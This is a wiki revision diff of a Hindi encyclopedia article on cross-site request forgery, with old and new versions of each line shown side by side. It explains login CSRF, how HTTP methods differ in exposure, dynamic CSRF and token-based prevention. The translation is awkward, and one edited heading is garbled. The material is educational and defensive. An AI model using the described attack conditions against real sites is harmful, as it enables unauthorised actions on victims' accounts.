ऊपर वर्णित uTorrent उदाहरण में, अटैक को इस तथ्य से सुविधाजनक बनाया गया था कि uTorrent के वेब इंटरफ़ेस ने महत्वपूर्ण राज्य-परिवर्तन संचालन (क्रेडेंशियल परिवर्तन, फ़ाइल डाउनलोड इत्यादि) के लिए जीईटी रिक्वेस्ट का उपयोग किया था, जो {{IETF RFC|2616}} स्पष्ट रूप से हतोत्साहित करता है:
ऊपर वर्णित यूटोरेंट उदाहरण में, अटैक को इस तथ्य से सुविधाजनक बनाया गया था कि यूटोरेंट के वेब इंटरफ़ेस ने महत्वपूर्ण राज्य-परिवर्तन संचालन (क्रेडेंशियल परिवर्तन, फ़ाइल डाउनलोड इत्यादि) के लिए जीईटी रिक्वेस्ट का उपयोग किया था, जो {{IETF RFC|2616}} स्पष्ट रूप से हतोत्साहित करता है:


{{quotation|विशेष रूप से, यह परंपरा स्थापित की गई है कि जीईटी और एचईएडी विधियों में पुनर्प्राप्ति के अतिरिक्त कोई अन्य कार्रवाई करने का महत्व नहीं होना चाहिए। इन विधियों को "सेफ" माना जाना चाहिए। यह उपयोगकर्ता एजेंटों को अन्य विधियों, जैसे पोस्ट, पुट और डिलीट को एक विशेष विधियों से प्रस्तुत करने की अनुमति देता है, जिससे उपयोगकर्ता को इस तथ्य से अवगत कराया जा सके कि संभवतः असुरक्षित कार्रवाई का अनुरोध किया जा रहा है।}}
{{quotation|विशेष रूप से, यह परंपरा स्थापित की गई है कि जीईटी और एचईएडी विधियों में पुनर्प्राप्ति के अतिरिक्त कोई अन्य कार्रवाई करने का महत्व नहीं होना चाहिए। इन विधियों को "सेफ" माना जाना चाहिए। यह उपयोगकर्ता एजेंटों को अन्य विधियों, जैसे पोस्ट, पुट और डिलीट को एक विशेष विधियों से प्रस्तुत करने की अनुमति देता है, जिससे उपयोगकर्ता को इस तथ्य से अवगत कराया जा सके कि संभवतः असुरक्षित कार्रवाई का अनुरोध किया जा रहा है।}}


इस धारणा के कारण, [[ वेब ढाँचा |वेब फ्रेमवर्क]] में अनेक उपस्तिथ सीएसआरएफ रोकथाम मेकैनिज़्म्स जीईटी अनुरोधों को कवर नहीं करती है, किन्तु केवल उन एचटीटीपी विधियों पर सुरक्षा प्रयुक्त करेंगे जिनका उद्देश्य स्थान-परिवर्तन करना है।<ref>
इस धारणा के कारण, [[ वेब ढाँचा |वेब फ्रेमवर्क]] में अनेक उपस्तिथ सीएसआरएफ रोकथाम मेकैनिज़्म्स जीईटी रिक्वेस्ट को कवर नहीं करती है, किन्तु केवल उन एचटीटीपी विधियों पर सुरक्षा प्रयुक्त करेंगे जिनका उद्देश्य स्थान-परिवर्तन करना है।<ref>
{{Cite web
{{Cite web
|title = Cross Site Request Forgery protection {{!}} Django documentation {{!}} Django
|title = Cross Site Request Forgery protection {{!}} Django documentation {{!}} Django
Line 52: Line 52:
</ref>
</ref>
==लॉगिन रिक्वेस्ट फोर्जिंग==
==लॉगिन रिक्वेस्ट फोर्जिंग==
एक अटैक्स, अटैक्स के क्रेडेंशियल्स का उपयोग करके विक्टिम को टारगेट वेबसाइट में लॉग इन करने का रिक्वेस्ट कर सकता है; इसे लॉगिन सीएसआरएफ के रूप में जाना जाता है। और लॉगिन सीएसआरएफ विभिन्न नवीन अटैक्स को संभव बनाता है; उदाहरण के लिए, कोई अटैक्स पश्चात अपनी वैध साख के साथ साइट पर लॉग इन कर सकता है और अकाउंट में सेव्ड की गई गतिविधि इतिहास जैसी निजी डेटा देख सकता है। यह अटैक [[Google|गूगल]] और [[याहू]] के विरुद्ध प्रदर्शित किया गया है<ref>Adam Barth, Collin Jackson, and John C. Mitchell, [http://www.adambarth.com/papers/2008/barth-jackson-mitchell-b.pdf Robust Defenses for Cross-Site Request Forgery], ''Proceedings of the 15th ACM Conference on Computer and Communications Security,'' ACM 2008</ref><ref name=":0">Joseph Foulds, [http://www.jfoulds.com/blog/passive-monitoring-login-request-forgery/ Passive monitoring login request forgery, Yahoo] {{webarchive|url=https://web.archive.org/web/20141222202044/http://jfoulds.com/blog/passive-monitoring-login-request-forgery/ |date=2014-12-22 }}</ref>
एक अटैक्स, अटैक्स के क्रेडेंशियल्स का उपयोग करके विक्टिम को टारगेट वेबसाइट में लॉग इन करने का रिक्वेस्ट कर सकता है; इसे लॉगिन सीएसआरएफ के रूप में जाना जाता है। और लॉगिन सीएसआरएफ विभिन्न नवीन अटैक्स को संभव बनाता है; उदाहरण के लिए, कोई अटैक्स पश्चात अपनी वैलिड साख के साथ साइट पर लॉग इन कर सकता है और अकाउंट में सेव्ड की गई गतिविधि इतिहास जैसी निजी डेटा देख सकता है। यह अटैक [[Google|गूगल]] और [[याहू]] के विरुद्ध प्रदर्शित किया गया है<ref>Adam Barth, Collin Jackson, and John C. Mitchell, [http://www.adambarth.com/papers/2008/barth-jackson-mitchell-b.pdf Robust Defenses for Cross-Site Request Forgery], ''Proceedings of the 15th ACM Conference on Computer and Communications Security,'' ACM 2008</ref><ref name=":0">Joseph Foulds, [http://www.jfoulds.com/blog/passive-monitoring-login-request-forgery/ Passive monitoring login request forgery, Yahoo] {{webarchive|url=https://web.archive.org/web/20141222202044/http://jfoulds.com/blog/passive-monitoring-login-request-forgery/ |date=2014-12-22 }}</ref>
==एचटीटीपी क्रियाएं और सीएसआरएफ==
==एचटीटीपी क्रियाएं और सीएसआरएफ==
प्रकार के आधार पर, [[ हाइपरटेक्स्ट परहस्त शिष्टाचार |एचटीटीपी]] [[ हाइपरटेक्स्ट परहस्त शिष्टाचार |रिक्वेस्ट मेथेड]] रिक्वेस्ट सीएसआरएफ अटैक्स के प्रति उनकी संवेदनशीलता में भिन्न होती हैं (वेब ​​ब्राउज़र द्वारा उनके प्रबंधन में अंतर के कारण)। इसलिए, किसी अटैक के अधीन सुरक्षात्मक उपाय एचटीटीपी रिक्वेस्ट की विधि पर निर्भर करते हैं।
प्रकार के आधार पर, [[ हाइपरटेक्स्ट परहस्त शिष्टाचार |एचटीटीपी]] [[ हाइपरटेक्स्ट परहस्त शिष्टाचार |रिक्वेस्ट मेथेड]] रिक्वेस्ट सीएसआरएफ अटैक्स के प्रति उनकी संवेदनशीलता में भिन्न होती हैं (वेब ​​ब्राउज़र द्वारा उनके प्रबंधन में अंतर के कारण)। इसलिए, किसी अटैक के अधीन सुरक्षात्मक उपाय एचटीटीपी रिक्वेस्ट की विधि पर निर्भर करते हैं।


* [[HTTP GET|एचटीटीपी जीईटी]] में सीएसआरएफ शोषण ऊपर वर्णित विधियों का उपयोग करके तुच्छ है, जैसे कि सरल [[हाइपरलिंक]] जिसमें परिवर्तन किए गए पैरामीटर होते हैं और स्वचालित रूप से एचटीएमएल तत्व या इमेज और ऑब्जेक्ट द्वारा लोड किया जाता है। चूंकि, एचटीटीपी विनिर्देशन के अनुसार, जीईटी को हाइपरटेक्स्ट ट्रांसफर प्रोटोकॉल या सुरक्षित विधियों के रूप में उपयोग किया जाना चाहिए, अर्थात, एप्लिकेशन में उपयोगकर्ता की स्थिति को महत्वपूर्ण रूप से नहीं परिवर्तन करना चाहिए। ऐसे परिचालनों के लिए जीईटी का उपयोग करने वाले एप्लिकेशनों को [[HTTP POST|एचटीटीपी पोस्ट]] पर स्विच करना चाहिए या एंटी-सीएसआरएफ सुरक्षा का उपयोग करना चाहिए।
* [[HTTP GET|एचटीटीपी जीईटी]] में सीएसआरएफ दमन ऊपर वर्णित विधियों का उपयोग करके तुच्छ है, जैसे कि सरल [[हाइपरलिंक]] जिसमें परिवर्तन किए गए पैरामीटर होते हैं और स्वचालित रूप से एचटीएमएल तत्व या इमेज और ऑब्जेक्ट द्वारा लोड किया जाता है। चूंकि, एचटीटीपी विनिर्देशन के अनुसार, जीईटी को हाइपरटेक्स्ट ट्रांसफर प्रोटोकॉल या सुरक्षित विधियों के रूप में उपयोग किया जाना चाहिए, अर्थात, एप्लिकेशन में उपयोगकर्ता की स्थिति को महत्वपूर्ण रूप से नहीं परिवर्तन करना चाहिए। ऐसे परिचालनों के लिए जीईटी का उपयोग करने वाले एप्लिकेशनों को [[HTTP POST|एचटीटीपी पोस्ट]] पर स्विच करना चाहिए या एंटी-सीएसआरएफ सुरक्षा का उपयोग करना चाहिए।
* सीएसआरएफ के लिए एचटीटीपी पोस्ट भेद्यता उपयोग परिदृश्य पर निर्भर करती है:
* सीएसआरएफ के लिए एचटीटीपी पोस्ट वल्नेरेबिलिटी उपयोग परिदृश्य पर निर्भर करती है:
**[[क्वेरी स्ट्रिंग]] के रूप में एन्कोड किए गए डेटा के साथ पोस्ट के सरलतम रूप में (<code>field1=value1&amp;field2=value2</code>) सीएसआरएफ अटैक को सरल [[फॉर्म (एचटीएमएल)]] का उपयोग करके सरलता से प्रयुक्त किया जाता है और सीएसआरएफ विरोधी उपायों को प्रयुक्त किया जाना चाहिए।
**[[क्वेरी स्ट्रिंग]] के रूप में एन्कोड किए गए डेटा के साथ पोस्ट के सरलतम रूप में (<code>field1=value1&amp;field2=value2</code>) सीएसआरएफ अटैक को सरल [[फॉर्म (एचटीएमएल)]] का उपयोग करके सरलता से प्रयुक्त किया जाता है और सीएसआरएफ विरोधी उपायों को प्रयुक्त किया जाना चाहिए।
**यदि डेटा किसी अन्य प्रारूप ([[JSON|जेएसओएन]], [[XML|एक्सएमएल]]) में भेजा जाता है, तो समान-मूल नीति (एसओपी) और क्रॉस-मूल रिसोर्स शेयरिंग (सीओआरएस) द्वारा रोके गए सीएसआरएफ अटैक्स के साथ [[XMLHttpRequest|एक्सएमएलHttpRequests]] का उपयोग करके पोस्ट रिक्वेस्ट '''रेलीज़ड''' करना मानक विधि है; सरल फॉर्म (एचटीएमएल) का उपयोग करके इच्छानुसार कॉन्टेंट भेजने की तकनीक है: <code>ENCTYPE</code> गुण; ऐसे नकली रिक्वेस्ट को वैध अनुरोधों से अलग किया जा सकता है <code>text/plain</code> कॉन्टेंट प्रकार, किन्तु यदि इसे सर्वर पर प्रयुक्त नहीं किया जाता है, तो सीएसआरएफ निष्पादित किया जा सकता है<ref>{{cite web | url=http://pentestmonkey.net/blog/csrf-xml-post-request | title=XML निकाय के साथ पोस्ट अनुरोधों के लिए क्रॉस-साइट अनुरोध जालसाजी| publisher=pentestmonkey | access-date=September 4, 2015}}</ref><ref>{{cite web | url=http://conference.hitb.org/hitbsecconf2007dubai/materials/D2%20-%20Shreeraj%20Shah%20-%20Web%202-0%20Hacking%20-%20Defending%20Ajax%20and%20Web%20Services.pdf.pdf | title=Web 2.0 Hacking Defending Ajax & Web Services | publisher=HITB | date=2008 | access-date=September 4, 2015 | author=Sheeraj Shah}}</ref>
**यदि डेटा किसी अन्य प्रारूप ([[JSON|जेएसओएन]], [[XML|एक्सएमएल]]) में भेजा जाता है, तो समान-मूल नीति (एसओपी) और क्रॉस-मूल रिसोर्स शेयरिंग (सीओआरएस) द्वारा रोके गए सीएसआरएफ अटैक्स के साथ [[XMLHttpRequest|XMLHttpRequests]] का उपयोग करके पोस्ट रिक्वेस्ट रेलीज़ड करना मानक विधि है; सरल फॉर्म (एचटीएमएल) का उपयोग करके इच्छानुसार कॉन्टेंट भेजने की तकनीक है: <code>ENCTYPE</code> गुण; ऐसे नकली रिक्वेस्ट को वैलिड रिक्वेस्ट से अलग किया जा सकता है <code>text/plain</code> कॉन्टेंट प्रकार, किन्तु यदि इसे सर्वर पर प्रयुक्त नहीं किया जाता है, तो सीएसआरएफ निष्पादित किया जा सकता है<ref>{{cite web | url=http://pentestmonkey.net/blog/csrf-xml-post-request | title=XML निकाय के साथ पोस्ट अनुरोधों के लिए क्रॉस-साइट अनुरोध जालसाजी| publisher=pentestmonkey | access-date=September 4, 2015}}</ref><ref>{{cite web | url=http://conference.hitb.org/hitbsecconf2007dubai/materials/D2%20-%20Shreeraj%20Shah%20-%20Web%202-0%20Hacking%20-%20Defending%20Ajax%20and%20Web%20Services.pdf.pdf | title=Web 2.0 Hacking Defending Ajax & Web Services | publisher=HITB | date=2008 | access-date=September 4, 2015 | author=Sheeraj Shah}}</ref>
*अन्य एचटीटीपी विधियां (पुट, डिलीट आदि) केवल सीएसआरएफ को रोकने वाली समान-मूल नीति (एसओपी) और क्रॉस-साइट रिसोर्स शेयरिंग (सीओआरएस ) के साथ एक्सएमएलHttpRequests का उपयोग करके रेलीज़ड की जा सकती हैं; चूंकि ये उपाय उन वेबसाइटों पर सक्रिय नहीं होंगे जो स्पष्ट रूप से इनका उपयोग अक्षम करते हैं <code>Access-Control-Allow-Origin: *</code> हैडर
*अन्य एचटीटीपी विधियां (पुट, डिलीट आदि) केवल सीएसआरएफ को रोकने वाली समान-मूल नीति (एसओपी) और क्रॉस-साइट रिसोर्स शेयरिंग (सीओआरएस ) के साथ XMLHttpRequests का उपयोग करके रेलीज़ड की जा सकती हैं; चूंकि ये उपाय उन वेबसाइटों पर सक्रिय नहीं होंगे जो स्पष्ट रूप से इनका उपयोग अक्षम करते हैं <code>Access-Control-Allow-Origin: *</code> हैडर


==सीएसआरएफ के लिए अन्य दृष्टिकोण==
==सीएक्सएमएलएसआरएफ के लिए अन्य दृष्टिकोण==
इसके अतिरिक्त, जबकि सामान्यतः स्थिर प्रकार के अटैक के रूप में वर्णित किया जाता है, सीएसआरएफ को क्रॉस-साइट स्क्रिप्टिंग अटैक के लिए पेलोड के भाग के रूप में गतिशील रूप से भी बनाया जा सकता है, जैसा कि [[सैमी (एक्सएसएस)]] वर्म द्वारा प्रदर्शित किया गया है, या लीक हुई सेशन डेटा से फ्लाई पर बनाया गया है। ऑफसाइट कॉन्टेंट के माध्यम से और मालिसियस यूआरएल के रूप में टारगेट को भेजा जाता है। [[सत्र निर्धारण|सेशन फिक्सेशन]] या अन्य दुर्बलता के कारण किसी अटैक्स द्वारा सीएसआरएफ टोकन भी क्लाइंट को भेजे जा सकते हैं, या ब्रूट-फोर्स अटैक के माध्यम से अनुमान लगाया जा सकता है, जो मालिसियस पेज पर प्रस्तुत किया जाता है जो हजारों असफल रिक्वेस्ट उत्पन्न करता है। डायनामिक सीएसआरएफ के अटैक्स वर्ग, या सेशन-विशिष्ट जालसाजी के लिए प्रति-ग्राहक पेलोड का उपयोग करने का वर्णन किया गया था<ref>{{cite web|url=http://voices.washingtonpost.com/securityfix/2009/07/weaponizing_web_20.html
इसके अतिरिक्त, जबकि सामान्यतः स्थिर प्रकार के अटैक के रूप में वर्णित किया जाता है, सीएसआरएफ को क्रॉस-साइट स्क्रिप्टिंग अटैक के लिए पेलोड के भाग के रूप में गतिशील रूप से भी बनाया जा सकता है, जैसा कि [[सैमी (एक्सएसएस)]] वर्म द्वारा प्रदर्शित किया गया है, या लीक हुई सेशन डेटा से फ्लाई पर बनाया गया है। ऑफसाइट कॉन्टेंट के माध्यम से और मालिसियस यूआरएल के रूप में टारगेट को भेजा जाता है। [[सत्र निर्धारण|सेशन फिक्सेशन]] या अन्य दुर्बलता के कारण किसी अटैक्स द्वारा सीएसआरएफ टोकन भी क्लाइंट को भेजे जा सकते हैं, या ब्रूट-फोर्स अटैक के माध्यम से अनुमान लगाया जा सकता है, जो मालिसियस पेज पर प्रस्तुत किया जाता है जो हजारों असफल रिक्वेस्ट उत्पन्न करता है। डायनामिक सीएसआरएफ के अटैक्स वर्ग, या सेशन-विशिष्ट जालसाजी के लिए प्रति-ग्राहक पेलोड का उपयोग करने का वर्णन किया गया था<ref>{{cite web|url=http://voices.washingtonpost.com/securityfix/2009/07/weaponizing_web_20.html
|title=Security Fix - Weaponizing Web 2.0}}</ref> अतः 2009 में ब्लैकहैट ब्रीफिंग में नाथन हैमील और शॉन मोयर द्वारा किया जाता है,<ref>[http://www.neohaxor.org/2009/08/11/dynamic-cross-site-request-forgery/ Dynamic CSRF] {{webarchive|url=https://web.archive.org/web/20100213160456/http://www.neohaxor.org/2009/08/11/dynamic-cross-site-request-forgery/ |date=2010-02-13 }}</ref> चूंकि वर्गीकरण को अभी भी व्यापक रूप से अपनाया जाना बाकी है।
|title=Security Fix - Weaponizing Web 2.0}}</ref> अतः 2009 में ब्लैकहैट ब्रीफिंग में नाथन हैमील और शॉन मोयर द्वारा किया जाता है,<ref>[http://www.neohaxor.org/2009/08/11/dynamic-cross-site-request-forgery/ Dynamic CSRF] {{webarchive|url=https://web.archive.org/web/20100213160456/http://www.neohaxor.org/2009/08/11/dynamic-cross-site-request-forgery/ |date=2010-02-13 }}</ref> चूंकि वर्गीकरण को अभी भी व्यापक रूप से अपनाया जाना बाकी है।


गतिशील सीएसआरएफ अटैक की रचना के लिए एक नया वेक्टर ओरेन ओफ़र द्वारा जनवरी 2012- "एजेएक्स हैमर - डायनेमिक सीएसआरएफ" में एक स्थानीय ओडब्ल्यूएएसपी चैप्टर की मीटिंग में प्रस्तुत किया गया था ।<ref>Owasp.org: [https://www.owasp.org/index.php/OWASP_Israel_2012_01#18:15_-_19:00.C2.A0:_AJAX.E2.80.99_Hammer_-_Harnessing_AJAX_for_CSRF_Attacks Israel 2012/01: AJAX Hammer – Harnessing AJAX for CSRF Attacks]</ref><ref>[https://code.google.com/p/hasc-research/downloads/list Downloads – hasc-research – hasc-research – Google Project Hosting]. Code.google.com (2013-06-17). Retrieved on 2014-04-12.</ref>
गतिशील सीएसआरएफ अटैक की रचना के लिए एक नया वेक्टर ओरेन ओफ़र द्वारा जनवरी 2012- "एजेएक्स हैमर - डायनेमिक सीएसआरएफ" में एक स्थानीय ओडब्ल्यूएएसपी चैप्टर की मीटिंग में प्रस्तुत किया गया था ।<ref>Owasp.org: [https://www.owasp.org/index.php/OWASP_Israel_2012_01#18:15_-_19:00.C2.A0:_AJAX.E2.80.99_Hammer_-_Harnessing_AJAX_for_CSRF_Attacks Israel 2012/01: AJAX Hammer – Harnessing AJAX for CSRF Attacks]</ref><ref>[https://code.google.com/p/hasc-research/downloads/list Downloads – hasc-research – hasc-research – Google Project Hosting]. Code.google.com (2013-06-17). Retrieved on 2014-04-12.</ref>
==प्रभाव==
==प्रभाव==
सीएसआरएफ टोकन दुर्बलता के लिए सेवेरीटी आव्यूह रेलीज़ड किए गए हैं जिसके परिणामस्वरूप रूट विशेषाधिकारों के साथ [[रिमोट कोड निष्पादन|रिमोट कोड एक्सेक्यूटिव]] होता है<ref>{{cite web|url=http://www.kb.cert.org/vuls/id/584089|title=Vulnerability Note VU#584089 - cPanel XSRF vulnerabilities}}</ref> साथ ही भेद्यता जो रूट सर्टिफिकेट से समझौता कर सकती है, जो पब्लिक कीय को मूलभूत रूप से उंडेरमिने कर देती है।<ref>{{cite web|url=http://www.kb.cert.org/vuls/id/264385|title=Vulnerability Note VU#264385 - OpenCA allows Cross site request forgery (XSRF)}}</ref>
सीएसआरएफ टोकन दुर्बलता के लिए सेवेरीटी आव्यूह रेलीज़ड किए गए हैं जिसके परिणामस्वरूप रूट विशेषाधिकारों के साथ [[रिमोट कोड निष्पादन|रिमोट कोड एक्सेक्यूटिव]] होता है<ref>{{cite web|url=http://www.kb.cert.org/vuls/id/584089|title=Vulnerability Note VU#584089 - cPanel XSRF vulnerabilities}}</ref> साथ ही वल्नेरेबिलिटी जो रूट सर्टिफिकेट से समझौता कर सकती है, जो पब्लिक कीय को मूलभूत रूप से उंडेरमिने कर देती है।<ref>{{cite web|url=http://www.kb.cert.org/vuls/id/264385|title=Vulnerability Note VU#264385 - OpenCA allows Cross site request forgery (XSRF)}}</ref>
==सीमाएँ==
==सीमाएँ==
इस प्रकार से क्रॉस-साइट रिक्वेस्ट जालसाजी के सफल होने के लिए अनेक चीजें होनी चाहिए:
इस प्रकार से क्रॉस-साइट रिक्वेस्ट जालसाजी के सफल होने के लिए अनेक चीजें होनी चाहिए:


# अटैक्स को या तो ऐसी साइट को टारगेट बनाना चाहिए जो एचटीटीपी रेफरर की जांच नहीं करती है या किसी ऐसे ब्राउज़र या प्लगइन वाले विक्टिम को टारगेट बनाना चाहिए जो [[ रेफरर स्पूफ़िंग |रेफरर स्पूफ़िंग]] की अनुमति देता है।<ref>{{cite web |title=उन्नत क्रॉस-साइट हमले की रोकथाम|url=https://worldwide.espacenet.com/publicationDetails/biblio?DB=EPODOC&II=0&ND=3&adjacent=true&locale=en_EP&FT=D&date=20081029&CC=EP&NR=1986395A1&KC=A1# |website=Espacenet |publisher=European Patent Office |access-date=21 November 2019 |ref=EP1986395A1}}</ref>
# अटैक्स को या तो ऐसी साइट को टारगेट बनाना चाहिए जो एचटीटीपी रेफरर की चेक नहीं करती है या किसी ऐसे ब्राउज़र या प्लगइन वाले विक्टिम को टारगेट बनाना चाहिए जो [[ रेफरर स्पूफ़िंग |रेफरर स्पूफ़िंग]] की अनुमति देता है।<ref>{{cite web |title=उन्नत क्रॉस-साइट हमले की रोकथाम|url=https://worldwide.espacenet.com/publicationDetails/biblio?DB=EPODOC&II=0&ND=3&adjacent=true&locale=en_EP&FT=D&date=20081029&CC=EP&NR=1986395A1&KC=A1# |website=Espacenet |publisher=European Patent Office |access-date=21 November 2019 |ref=EP1986395A1}}</ref>
# अटैक्स को टारगेट साइट पर फ़ॉर्म सबमिशन, या यूआरएल सर्च करना होता है। जिसके दुष्प्रभाव हों, जो कुछ करता हो (उदाहरण के लिए, पैसे ट्रांसफर करता है, या विक्टिम का ई-मेल एड्रेस या पासवर्ड परिवर्तन है)।
# अटैक्स को टारगेट साइट पर फ़ॉर्म सबमिशन, या यूआरएल सर्च करना होता है। जिसके दुष्प्रभाव हों, जो कुछ करता हो (उदाहरण के लिए, पैसे ट्रांसफर करता है, या विक्टिम का ई-मेल एड्रेस या पासवर्ड परिवर्तन है)।
# अटैक्स को सभी फॉर्म या यूआरएल इनपुट के लिए सही मान निर्धारित करना होगा; यदि उनमें से किसी को भी गुप्त प्रमाणीकरण मान या आईडी की आवश्यकता होती है जिसका अटैक्स अनुमान नहीं लगा सकता है, तो अटैक संभवतः विफल हो जाएगा (जब तक कि अटैक्स अपने अनुमान में अत्यंत लकी न हो)।
# अटैक्स को सभी फॉर्म या यूआरएल इनपुट के लिए सही मान निर्धारित करना होगा; यदि उनमें से किसी को भी गुप्त ओथेन्टिकेटेड मान या आईडी की आवश्यकता होती है जिसका अटैक्स अनुमान नहीं लगा सकता है, तो अटैक संभवतः विफल हो जाएगा (जब तक कि अटैक्स अपने अनुमान में अत्यंत लकी न हो)।
# जब विक्टिम टारगेट साइट पर लॉग इन हो तो अटैक्स को विक्टिम को मालिसियस कोड वाले वेब पेज पर लुभाना चाहिए।
# जब विक्टिम टारगेट साइट पर लॉग इन हो तो अटैक्स को विक्टिम को मालिसियस कोड वाले वेब पेज पर लुभाना चाहिए।


इस प्रकार से अटैक ब्लाइंड है: अटैक्स यह नहीं देख सकता कि जाली अनुरोधों के जवाब में टारगेट वेबसाइट विक्टिम को क्या भेजती है, जब तक कि वे टारगेट वेबसाइट पर क्रॉस-साइट स्क्रिप्टिंग या अन्य बग का लाभ नहीं उठाते है। इसी तरह, अटैक्स केवल किसी भी लिंक को टारगेट कर सकता है या प्रारंभिक जाली रिक्वेस्ट के पश्चात आने वाले किसी भी फॉर्म को सबमिट कर सकता है यदि वे बाद के लिंक या फॉर्म समान रूप से पूर्वानुमानित होते है। (एक पेज पर अनेक इमेजेस को सम्मिलित करके, या क्लिकों के मध्य देरी प्रारंभ करने के लिए जावास्क्रिप्ट का उपयोग करके अनेक टारगेट का अनुकरण किया जा सकता है।)<ref>{{Cite web |title=CSRF: Cross-site request forgery attacks explained |url=https://www.ionos.com/digitalguide/server/security/cross-site-request-forgery-csrf/ |access-date=2022-04-26 |website=IONOS Digitalguide |language=en}}</ref>
इस प्रकार से अटैक ब्लाइंड है: अटैक्स यह नहीं देख सकता कि जाली रिक्वेस्ट के जवाब में टारगेट वेबसाइट विक्टिम को क्या भेजती है, जब तक कि वे टारगेट वेबसाइट पर क्रॉस-साइट स्क्रिप्टिंग या अन्य बग का लाभ नहीं उठाते है। इसी तरह, अटैक्स केवल किसी भी लिंक को टारगेट कर सकता है या प्रारंभिक जाली रिक्वेस्ट के पश्चात आने वाले किसी भी फॉर्म को सबमिट कर सकता है यदि वे बाद के लिंक या फॉर्म समान रूप से पूर्वानुमानित होते है। (एक पेज पर अनेक इमेजेस को सम्मिलित करके, या क्लिकों के मध्य देरी प्रारंभ करने के लिए जावास्क्रिप्ट का उपयोग करके अनेक टारगेट का अनुकरण किया जा सकता है।)<ref>{{Cite web |title=CSRF: Cross-site request forgery attacks explained |url=https://www.ionos.com/digitalguide/server/security/cross-site-request-forgery-csrf/ |access-date=2022-04-26 |website=IONOS Digitalguide |language=en}}</ref>
==रोकथाम==
==रोकथाम==


अधिकांश सीएसआरएफ रोकथाम तकनीकें अनुरोधों में अतिरिक्त प्रमाणीकरण डेटा एम्बेड करके कार्य करती हैं। जो वेब एप्लिकेशन को अनधिकृत स्थानों से अनुरोधों का पता लगाने की अनुमति देती है।
अधिकांश सीएसआरएफ रोकथाम तकनीकें रिक्वेस्ट में अतिरिक्त ओथेन्टिकेटेड डेटा एम्बेड करके कार्य करती हैं। जो वेब एप्लिकेशन को अनधिकृत स्थानों से रिक्वेस्ट का पता लगाने की अनुमति देती है।


===[[सिंक्रोनाइज़र टोकन पैटर्न]]===
===[[सिंक्रोनाइज़र टोकन पैटर्न]]===


सिंक्रोनाइज़र टोकन पैटर्न (एसटीपी) ऐसी तकनीक है। जहां टोकन, प्रत्येक रिक्वेस्ट के लिए गुप्त और अद्वितीय मान, सभी एचटीएमएल रूपों में वेब एप्लिकेशन द्वारा एम्बेड किया जाता है और सर्वर साइड पर सत्यापित किया जाता है। टोकन किसी भी विधि से उत्पन्न किया जा सकता है जो अप्रत्याशितता और विशिष्टता सुनिश्चित करता (उदाहरण के लिए यादृच्छिक बीज की हैश श्रृंखला का उपयोग करना)है। इस प्रकार अटैक्स अपने अनुरोधों को प्रमाणित करने के लिए उनमें सही टोकन डालने में असमर्थ है।<ref name=Shiflett /><ref name="owasp">{{cite web | url=https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html | title=क्रॉस-साइट अनुरोध जालसाजी (सीएसआरएफ) रोकथाम धोखा शीट| publisher=OWASP | access-date=2019-07-19}}</ref><ref name=Valhalla>{{cite web|url=http://halls-of-valhalla.org/beta/articles/cross-site-request-forgery-demystified,47/|title=Valhalla Articles - Cross-Site Request Forgery: Demystified}}</ref>
सिंक्रोनाइज़र टोकन पैटर्न (एसटीपी) ऐसी तकनीक है। जहां टोकन, प्रत्येक रिक्वेस्ट के लिए गुप्त और अद्वितीय मान, सभी एचटीएमएल रूपों में वेब एप्लिकेशन द्वारा एम्बेड किया जाता है और सर्वर साइड पर सत्यापित किया जाता है। टोकन किसी भी विधि से उत्पन्न किया जा सकता है जो अप्रत्याशितता और विशिष्टता सुनिश्चित करता (उदाहरण के लिए यादृच्छिक बीज की हैश श्रृंखला का उपयोग करना)है। इस प्रकार अटैक्स अपने रिक्वेस्ट को प्रमाणित करने के लिए उनमें सही टोकन डालने में असमर्थ है।<ref name=Shiflett /><ref name="owasp">{{cite web | url=https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html | title=क्रॉस-साइट अनुरोध जालसाजी (सीएसआरएफ) रोकथाम धोखा शीट| publisher=OWASP | access-date=2019-07-19}}</ref><ref name=Valhalla>{{cite web|url=http://halls-of-valhalla.org/beta/articles/cross-site-request-forgery-demystified,47/|title=Valhalla Articles - Cross-Site Request Forgery: Demystified}}</ref>


एचटीएमएल फॉर्म में [[Django (वेब ​​फ्रेमवर्क)|जैंगो (वेब ​​फ्रेमवर्क)]] द्वारा निर्धारित एसटीपी का उदाहरण:
एचटीएमएल फॉर्म में [[Django (वेब ​​फ्रेमवर्क)|जैंगो (वेब ​​फ्रेमवर्क)]] द्वारा निर्धारित एसटीपी का उदाहरण:


<syntaxhighlight lang="xml"><input type="hidden" name="csrfmiddlewaretoken" value="KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt" /></syntaxhighlight>
<syntaxhighlight lang="xml"><input type="hidden" name="csrfmiddlewaretoken" value="KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt" /></syntaxhighlight>
एसटीपी सबसे अधिक संगत है क्योंकि यह केवल एचटीएमएल पर निर्भर करता है, किन्तु प्रत्येक रिक्वेस्ट पर टोकन की वैधता की जांच से जुड़े बोझ के कारण सर्वर साइड पर कुछ कॉम्प्लेक्सिटी प्रस्तुत करता है। चूंकि टोकन अद्वितीय और अप्रत्याशित है, यह घटनाओं के उचित अनुक्रम को भी प्रयुक्त करता है (उदाहरण के लिए स्क्रीन 1, फिर 2, फिर 3) जो प्रयोज्य समस्या को उत्पन्न करते है (उदाहरण के लिए उपयोगकर्ता अनेक टैब खोलता है)। प्रति रिक्वेस्ट सीएसआरएफ टोकन के अतिरिक्त प्रति सेशन सीएसआरएफ टोकन का उपयोग करके इसमें छूट दी जा सकती है।
एसटीपी सबसे अधिक संगत है क्योंकि यह केवल एचटीएमएल पर निर्भर करता है, किन्तु प्रत्येक रिक्वेस्ट पर टोकन की वैधता की चेक से जुड़े बोझ के कारण सर्वर साइड पर कुछ कॉम्प्लेक्सिटी प्रस्तुत करता है। चूंकि टोकन अद्वितीय और अप्रत्याशित है, यह घटनाओं के उचित अनुक्रम को भी प्रयुक्त करता है (उदाहरण के लिए स्क्रीन 1, फिर 2, फिर 3) जो प्रयोज्य समस्या को उत्पन्न करते है (उदाहरण के लिए उपयोगकर्ता अनेक टैब खोलता है)। प्रति रिक्वेस्ट सीएसआरएफ टोकन के अतिरिक्त प्रति सेशन सीएसआरएफ टोकन का उपयोग करके इसमें छूट दी जा सकती है।


===कुकी-टू-हेडर टोकन===
===कुकी-टू-हेडर टोकन===
Line 96: Line 96:


